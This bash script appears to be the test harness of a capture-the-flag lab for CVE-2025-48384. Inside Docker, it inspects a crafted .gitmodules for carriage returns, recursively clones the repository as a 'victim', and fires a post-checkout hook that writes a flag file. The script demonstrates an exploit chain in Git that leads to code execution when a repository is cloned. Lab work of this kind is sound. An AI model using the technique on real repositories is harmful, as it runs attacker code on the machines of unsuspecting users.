Files
s41r4j-cve-2025-48384/test.sh
T

41 lines
1.2 KiB
Bash
Executable File

#!/usr/bin/env bash
set -euo pipefail
IMAGE=${IMAGE:-cve-48384-ctf}
CTX=${CTX:-.}
build() {
docker build -t "$IMAGE" "$CTX"
}
run_demo() {
docker run --rm -t -v "$PWD:/work" -w /work "$IMAGE" bash -lc '
set -euo pipefail
echo "Using Git:" && git --version
echo "Inspecting .gitmodules (hex; CR shows as 0d):"
if command -v hexdump >/dev/null 2>&1; then
hexdump -C .gitmodules | sed -n "1,80p" || true
else
od -An -tx1 -v .gitmodules | sed -n "1,8p" || true
fi
rm -rf /tmp/victim
echo "Cloning recursively from /work to /tmp/victim..."
git clone --recurse-submodules /work /tmp/victim
echo "Listing hooks in victim repo:" && ls -la /tmp/victim/.git/hooks || true
echo "Triggering top-level checkout to run post-checkout hook..."
git -C /tmp/victim checkout -f HEAD
if [ -f /tmp/flag.txt ]; then
echo "Flag created:" && cat /tmp/flag.txt
else
echo "Flag not found. Ensure vulnerable Git and that symlink/.gitmodules are intact." >&2
exit 1
fi
'
}
case "${1:-}" in
build) build ;;
run) run_demo ;;
all|"") build && run_demo ;;
*) echo "Usage: $0 [build|run|all]" ; exit 2 ;;
esac